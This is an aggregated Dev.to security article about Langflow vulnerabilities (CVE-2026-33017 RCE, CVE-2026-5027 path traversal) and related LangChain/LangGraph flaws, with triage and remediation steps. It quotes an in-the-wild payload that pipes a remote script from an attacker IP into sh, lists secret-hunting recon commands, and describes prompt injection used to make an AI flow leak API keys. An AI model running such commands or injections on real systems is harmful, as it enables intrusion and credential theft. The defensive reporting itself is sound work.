Dev.to AI 🤖 Ai 👁 0 📖 4 min read

How a Single Unauthenticated POST Turns Langflow Into a Public Python Shell

One unauthenticated POST to a Langflow endpoint gets you arbitrary Python execution on the host. No credentials, no proof-of-concept required -- attackers built a working exploit straight from the advisory text and were

One unauthenticated POST to a Langflow endpoint gets you arbitrary Python execution on the host. No credentials, no proof-of-concept required -- attackers built a working exploit straight from the advisory text and were in the wild within 20 hours. If you run Langflow, LangChain, or LangGraph anywhere, that is the shape of your attack surface now, and the blast radius is every API key those frameworks are holding.

CVE-2026-33017: unauthenticated RCE via the public flow endpoint

Langflow exposes an endpoint whose whole job is to build "public flows," so it is intentionally unauthenticated:

POST /api/v1/build_public_tmp/{flow_id}/flow

In every release before 1.9.0, it accepted attacker-supplied flow data -- Python embedded in the node definitions -- and passed it straight to exec() with no sandbox:

__import__('os').system('curl hxxp://83[.]142[.]209[.]214:8080/isp.sh | sh')

That is CWE-306 (missing authentication) on top of CWE-94 (code injection). One request, no credentials, arbitrary code on the host. CISA added it to the Known Exploited Vulnerabilities catalog on March 25 with an April 8 federal deadline, and Sysdig's honeypots logged exploitation roughly 20 hours after the March 17 advisory -- before any public PoC existed.

CVE-2026-5027: path traversal -> arbitrary file write -> shell

Different door, same host. The file-upload endpoint never sanitized the filename:

POST /api/v2/files

Pack traversal sequences into the filename and you write a file to an arbitrary location. Drop one into /etc/cron.d where permissions allow, and the next cron run is a shell. The CVSS vector formally requires low privileges -- but Langflow ships with auto-login enabled by default, which hands an exposed instance a valid session token on request, so on the deployments that got hit the credential barrier was cosmetic. Tenable disclosed it March 27; in-the-wild exploitation showed up in June. The fix landed in langflow-base 0.8.3 and Langflow 1.9.0.

One caveat that matters for your patch plan: JFrog empirically tested 1.8.2 -- widely reported as fixed -- and found it still exploitable. Verify the fix in whatever version you land on. Do not trust the changelog.

The blast radius is your keys, not your CPU

Here is why this class is worse than a normal RCE. An orchestration framework is a credential concentrator: flows embed provider keys, cloud credentials, and database strings directly in their component configs, because that is how a flow talks to OpenAI or Anthropic or your database. So the recon you see in the honeypot data goes straight for the environment:

env
find /app -name "*.db" -o -name "*.env"

Code execution does not win the attacker your compute. It wins them the pile of keys in the environment, and those keys are liquid. In a later Langflow incident, Sysdig watched an operator hijack a flow and feed it the prompt leak api keys, coaxing a flow that ran with its own embedded credentials into surfacing them.

The pattern is bigger than Langflow

LangChain-core has a path traversal in its legacy prompt-loading API that can read local config and secret-bearing files off disk, depending on file type and deployment. LangGraph carries an insecure-deserialization chain in its SQLite and Redis checkpoint stores that Check Point walked from SQL injection to code execution in self-hosted deployments; managed LangSmith was not affected. Neither has confirmed in-the-wild exploitation yet, and Check Point ships working PoC, so "yet" is doing real work.

These are the same bug classes -- injection, traversal, deserialization -- we have written for decades. What is new is where they live: three layers down in a framework your application code imports. Your WAF never inspects the deserializer, and your EDR waves through the process calls the agent server makes a thousand times a day. As former AWS deputy CISO Merritt Baer put it, when this lands "it will feel like your traditional security program failing" rather than an AI problem.

Triage: are you exposed, and were you hit?

Check what you are actually running:

pip show langflow          # or inspect your container image tag
# Vulnerable: anything before 1.9.0. Per JFrog, confirm empirically -- some "fixed" tags weren't.

Confirm whether the instance is reachable from outside your network at all (from an external host, or via a Shodan/Censys lookup on your own ASN). If a Langflow or LangGraph instance answers to the open internet, treat it as already probed.

Then grep your access logs for hits on the vulnerable endpoints:

grep -E "build_public_tmp|/api/v2/files" access.log

And look for what should not be there: a shell spawned by the app process, reads of .env, new entries in /etc/cron.d, or unexpected outbound connections. This is signature-free territory -- Falco's default ruleset already flags a web process spawning a shell and unexpected outbound connections, which is exactly what you want on day zero, before anyone has written a rule for the specific CVE.

Fixes

  • Get it off the public internet. There is almost no legitimate reason a Langflow or LangGraph instance should answer to the open web. Auth or a VPN in front.
  • Patch to current, then verify the patch closed the hole -- check the commit or run the PoC, don't trust the release note.
  • Rotate every credential the instance could reach -- provider keys, cloud creds, DB strings. If it was exposed during any of these windows, assume they walked.
  • Give each deployment an owner inside the same external attack-surface monitoring as the rest of production. You can't patch what you don't know you're running.
  • Add signature-free runtime detection (Falco or equivalent) for shell-from-web-process and .env reads.

The vulnerabilities here are ordinary. What changed is that we stood up thousands of internet-reachable Python execution environments full of API keys and never put them in the security program that governs everything else we run. If you operate any of this in production: who owns the patch cycle, and how are you finding the instances before an attacker's scanner does?

📰 Read the original article on Dev.to AI

Originally published by Dev.to AI. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.